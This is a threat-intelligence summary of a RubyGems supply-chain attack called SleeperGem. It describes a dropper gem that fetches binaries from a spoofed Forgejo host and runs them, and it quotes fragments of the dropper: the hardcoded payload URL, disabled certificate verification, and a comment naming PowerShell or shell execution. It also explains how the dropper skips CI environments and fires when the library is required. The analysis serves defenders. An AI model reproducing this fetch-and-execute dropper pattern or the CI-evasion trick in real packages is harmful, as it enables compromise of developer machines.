
SleeperGem: RubyGems supply chain attack targets dormant maintainer accounts
Aikido researchers dissect SleeperGem, a RubyGems supply chain attack where a newly published gem, git_credential_manager, downloaded malicious binaries hosted on a fake git-ecosystem account at git.disroot.org and executed them via shell or PowerShell. The attacker evolved the payload across four versions in nine hours, silencing output, wiring execution into the gems require and load path, and adding a check to skip roughly 30 CI environment variables so it only fires on developer laptops, then used two separate long-dormant maintainer accounts to push the gem as a dependency into the trusted gems Dendreo and fastlane-plugin-run_tests_firebase_testlab with over 574000 downloads. The piece argues this is RubyGems first taste of the dormant-maintainer-account-takeover pattern long seen on npm and PyPI.
What it is
A live RubyGems supply-chain compromise dubbed SleeperGem by Aikido. The core artifact is git_credential_manager, a brand-new gem published in four versions (2.8.0 → 2.8.3) that acts as a dropper, pulling malware-flagged binaries from a spoofed Forgejo host. The same actor pushed malicious updates to Dendreo (first published 2017) and, from a different maintainer account, fastlane-plugin-run_tests_firebase_testlab (574,661 downloads).
How it works
The dropper builds a URL against a hardcoded host and fetches a payload with certificate verification explicitly disabled, then executes it via shell or PowerShell:
def base_url
"https://git.disroot.org/git-ecosystem/#{product}/raw/branch/main"
end
http.verify_mode = OpenSSL::SSL::VERIFY_NONE
# powershell -ExecutionPolicy bypass / /bin/shThe four versions were published over ~9 hours in two sittings, refining the delivery: 2.8.1 silenced Unix output to /dev/null; 2.8.2 wired the installer into the gem's load path (so merely require-ing the library triggers it) but commented out the firing line; 2.8.3, 17 minutes later, uncommented it. A skip_install? check scans for ~30 CI environment variables (GitHub Actions, GitLab CI, CircleCI, Travis, Jenkins, Vercel) and does nothing if found — it deliberately targets developer laptops, not CI runners.
Preconditions / Affected
You are exposed if any of these gems reached a developer machine — directly, or transitively via the poisoned Dendreo dependency. Because execution triggers on require (not just install) and skips CI, a lockfile/CI-only audit will miss it; the payload fires when a developer loads the library locally.
What to do
- Grep Gemfiles,
Gemfile.lock, and installed gems forgit_credential_manager, the affectedDendreoversions, and the roguefastlane-plugin-run_tests_firebase_testlabrelease; remove and treat affected dev machines as compromised. - Block/alert on outbound connections to
git.disroot.org/git-ecosystem. - Because the trigger is
require-time on developer laptops, don't rely on CI scanning — it's engineered to stay silent there.
Caveats
Aikido frames this as RubyGems' first known case of this pattern and notes "two accounts down so far" — scope is what they found, not necessarily the full blast radius. The fastlane-plugin account belonging to a different maintainer is described as suggesting a broader multi-account compromise, not confirmed extent. Specific affected version numbers for Dendreo and the fastlane plugin are not given in the page.
Organisations named here
- git.disroot.org
Technologies named here
- VirusTotal
- git_credential_manager
- Dendreo
- Forgejo
- fastlane-plugin-run_tests_firebase_testlab
- RubyGems
- PowerShell
- git
Techniques named here
- Dormant maintainer account takeover
- Disabled certificate verification for payload fetch
- Remote payload execution via shell/PowerShell
- Output suppression for stealth
- Load-path/require-time execution trigger
- Staged activation via commented-out code
- CI/build-server evasion
- Trojanized dependency propagation
Threat actors named here
- SleeperGem
Related in Supply Chain


